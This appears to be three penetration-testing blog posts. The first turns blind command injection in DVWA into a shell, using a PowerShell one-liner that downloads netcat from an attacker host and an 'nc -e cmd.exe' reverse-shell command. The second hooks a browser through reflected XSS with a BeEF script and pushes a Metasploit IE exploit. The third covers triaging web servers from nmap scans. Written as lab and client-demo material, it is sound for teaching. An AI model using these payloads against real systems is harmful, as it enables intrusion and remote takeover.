Retrieving Elusive Command Output

I have found myself on multiple pentests recently where I needed to retrieve (blind) command output from a remote machine. Blind remote command execution by itself is great, and you can do many evil thing to a machine without even having to view the output, but usually at some point during the attack lifecycle you will need to view command output (for example data exfiltration/shell upgrade). This post will assume the following things:

-Blind remote command execution has been verified (via icmp or some other method)
-You are attacking a web application
-You are attacking a windows host
-You wish to use native Window$ programs so you dont have to upload anything(more noise)

 The most common way to retrieve blind command output would be through FTP. This method works great, but for the sake of learning multiple ways to accomplish this I wanted a second way to view this command ouput. Our goal will be to upgrade to an interactive command prompt, allowing us to view command output.

Here is the setup:

Victim Machine: Win7 running DVWA (192.168.1.101)
Attacker Machine: Backtrack (192.168.1.107)

For this post, we will use to command execution vulnerability within DVWA as our initial "blind" command execution. I realize DVWA by default spits the cmd output back to you, but you can edit the PHP source code (and learn some more in the process) to make this a truly blind attack.

We will use the following payload to exploit the vulnerability:

127.0.0.1 | whoami

Now that we have established blind command execution, we need to use another tool native to Windows to grab a file for us. When it comes to Windows I do most things with Powershell, and have found a renewed love for it thanks to the awesome work from @mattifestation and @obscuresec with the PowerSploit project. Thus I wanted to use it to accomplish my goals. I needed a one-line Powershell command that would work similar to wget for linux. After some research, I came across this blog post that gave me what I needed. It goes something like this:

(new-object System.Net.WebClient).Downloadfile("http://attacker.com

/test.txt", "test.txt")

This command creates a new COM object for the System.Net.Webclient class and then uses the DownloadFile method passing it two parameters:
1) The location and name of the file you want to download
2) Where/what name you want to save it as on the local machine

Once I confirmed this command would reach out to my server, I put a netcat binary into the webserver root. 

Using this command (after modifying the quotes) and invoking the powershell.exe binary, I was able to pull netcat from my machine. The full command to the web application resulted in this:

127.0.0.1 | powershell.exe (new-object System.Net.WebClient).Downloadfile('http://192.168.1.107/nc.exe', 'nc.exe')

Then, once the command completed, I set up a netcat listener on my attacker machine and issued a second command to the web application to push a shell back to my attacker machine via netcat:

127.0.0.1 | nc.exe -e cmd.exe 192.168.1.107 21

In this post we used Powershell to go from blind/1-way command execution to an interactive windows shell allowing us to retrieve command output.

If you know of other ways to retrieve blind command execution output using native windows tools, please feel free to discuss in the comments.

XSS: What Your Momma Didn't Tell You About Javascript

"$client, I found a vulnerability on your website. Its cross site scripting (XSS). "

"So what, that is a basic javascript alert box."

"Yes, you are right, but it could be used to do much more than just an alert box"

"Such as...."

If the above sounds at all familiar to you, I sympathize with you and I am here to try to provide something that can be used to demo the actual danger of a XSS vulnerability within a website. Sometimes it seems that people do not believe you when you say "This is a serious risk and should be fixed." XSS seems to be one of those types of things that is tough to explain well and even tougher to demo the risk associated with it.

Enter BeEF (the Browser Exploitation Framework). This handy little tool gives an attacker a perfect way to blow his "simple XSS alert box" in to much, much more. BeEF "hooks" the victims browser, meaning it injects Javascript into the current page allowing for more JS to be loaded, and turns the browser into the client of a "client/server" type model. For this post I am only going to show a small segment of BeEF's capabilities, but it should hopefully be something that would catch a clients eye and help them understand the real risk associated with XSS.

If you have never used BeEF, this is not a tutorial to show how to get it up and running. There are plenty of those out there and I suggest you take a look at those and some of the other great videos on this tool. This post will assume the user is somewhat familiar with BeEF and how to use it.

We will use the following setup for this demo:

Backtrack 5r3 VM running beef - Attacker
Windows 7 running IE 8 - Victim
OWASP Broken Web App VM running Google's Gruyere - Vulnerable Webapp

First we need to identify a valid XSS vulnerability within a web application. We will then need to start BeEF and hook a victim's browser by exploiting the page vulnerable to XSS. We can exploit reflected or stored XSS, either will work. Here we will used reflected XSS.

 Beef Started

After eyeballing the gruyere application, we find a textbook XSS bug here: http://192.168.1.104/1424231391/snippets.gtl?uid=<injection point>

Now that we have our valid reflected XSS, we need to start beef and then inject the beef hook (javascript) into the script tags. Once beef is started, it gives you the script source to use. The injection will look something like this.

http://192.168.1.104/1424231391/snippets.gtl?uid=<script src="http://192.168.1.107:3000/hook.js"></script>

Now lets have our victim visit out malicious page.

Awesome! Now we have the victim browser under our control. Lets check out its profile and mabye run a few scripts to enumerate the browser version.

Here we can see the browser information showing Internet Explorer version 8. We will make note of this for use later on.

Here are a few of the commands we can send to the victim browser via javascript. The one we ran here was the Fingerprint Browser script, indicating again that the current victim browser is Internet Explorer version 7+.

Now that we have enumerated the browser, lets attempt to exploit it via an IE client side browser exploit in metasploit. For this example we will use the ms12_037_ie_colspan exploit. Once we have correctly configured metapsploit, lets redirect the victim browser to our malicious site using BeEF.

Here we enter the URL provided by metasploit, then execute the command.

As a result, metasploit has sent the payload, received a shell back and successfully migrated to a new process so that when the user closes the browser, the shell will not be lost. We have successfully compromised the machine. This demonstrates the potential impact of an XSS vulnerability on a website. By leveraging the free tools BeEF and Metasploit, we were able to take control of the underlying operating system via a client side exploit in the users browser. This is only one example of the many things that can be done with BeEF.

Efficient Pentesting (Interesting Web Servers)

I have seen a few blog posts discussing specific techniques of parsing through lots of data and quickly identifying avenues of the highest potential return on investment during a pentest. More specifically giving ways to prioritize interesting web servers due to the fact that an initial network scan can return lots of potentially fun web ports to check out. This one particular tool is really cool and I will talk more about it in just a minute, but I think it is important to grasp the bigger-picture idea behind this.

When working under time constraints towards a particular goal and there are multiple routes to get there, actions must be prioritized based on greatest potential success rate and highest "return on investment"

Ok, but what does this mean for pentesting?

When working on a project under time constraints, this is a very important topic because if the pentester wants to provide the best value to the customer that they can, given the specified time frame, they need to be able to quickly prioritize their actions and find the avenues of attack they want to spend their time on.

All that being said, when a tool, idea, or technique presents itself that will help save time, it has the potential to help pentesters do their job better by freeing up time that would have been spent doing one task (ie. manually crunching through web servers looking for say, exposed admin interfaces) and allow for more time to be spent on other areas.

Enter webscour.pl

With this awesome little perl script, nmap(and other) scan results can be piped into it, and it will spit out a web page with a screenshot of the potentially interesting web pages and header info about the HTTP connection. If the screenshot or headers look promising, all you have to do is click the link or the screenshot itself to visit the page all from the comfort of your favorite web browser. Here is my tweak to what these other guys have done with this already. I used grepable nmap output for my data source.

Dependencies: gnome-web-photo and gnmap.pl(if you want to view ports other than just 80)

cat netscan_nmap | ./gnmap.pl | grep -E 'http|https' | cut -d, -f1,2 | tr ',' ':' | ./webscour.pl sites.htm

All credit for this kung fu goes to the following sites:

http://blog.cyberis.co.uk/2011/04/finding-interesting-web-servers-on.html
http://www.pentesticles.com/2012/05/we-have-port-scans-what-now.html
http://pauldotcom.com/wiki/index.php/Episode291#Tech_Segment:_What.27s_That_Web_Server.3F